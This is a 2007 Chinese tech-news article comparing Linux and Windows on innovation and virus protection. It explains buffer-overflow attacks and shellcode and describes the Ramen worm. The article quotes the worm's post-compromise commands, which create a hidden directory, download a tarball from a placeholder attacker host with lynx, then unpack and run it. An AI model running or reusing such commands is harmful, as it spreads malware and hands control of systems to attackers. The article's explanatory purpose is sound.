正在阅读:Linux与Windows在十三方面大对决Linux与Windows在十三方面大对决

2007-08-08 16:10 出处: 作者:佚名 责任编辑:zhangxinxin

  (八)创新篇 

  Linux是自由软件,而自由软件和非自由软的区别在于: 

  1. 自由软件是开放的,成千上万的人可以检查这个软件,快速地找到并修改其错误码。 

  2. 最终用户可以按照自己的意愿自定义自由软件,有特殊需要的用户也可以完全按照他们认为合适的方式定制自己的Linux。 

  3. 自由软件为了防止重复发明,通过共享源代码和思想来节省很多工作量。 

  以上这些特性是不是对有想法的好事者有莫大的吸引力?不仅如此,Linux由于自身的优点,应用领域也越来越广泛。如最近嵌入式Linux的应用相当热门,已广泛应用于包括笔记本电脑、连网装置、网络电视等在内的各式各样的通信基础产品,而嵌入式操作系统正日益成为一种势不可挡的流行趋势,最终电脑、通讯、家电会因为它的存在而成为一体。这些也为有想法的好事者提供了更广阔的发挥空间。在梦想就是力量的今天,没有了创新能力是不可想象的。 如果你总是使用微软的开发工具,你一生只能做个操作人员。 。这一篇,LINUX占了上风 

  (九)防病毒篇 

  1998年的CIH病毒让全世界人民为之胆怯,随之而来的基于OUTLOOK传播美莉莎,欢乐时光等病毒更是是IT行业以及相关领域损失惨重。而LINUX方面关于世界上第一个Linux病毒——reman已经出现的说法,我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在NIX/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才“出现”的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。 

  缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:“core dump”或“segment fault”。

  严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为:“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。 

  下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作:   

  mkdir /usr/src/.poop;cd /usr/src/.poop 

  export TERM=vt100 

  lynx -source http://FROMADDR:27374 > /usr/src/.poop/rame.tgz 

  cp ramen.tgz /tmp 

  gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh 

  echo Eat Your Ramen!mail -s TOADDR -c  
  

  很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。这一篇,LINUX占了上风。

键盘也能翻页,试试“← →”键

关注我们

最新资讯离线随时看 聊天吐槽赢奖品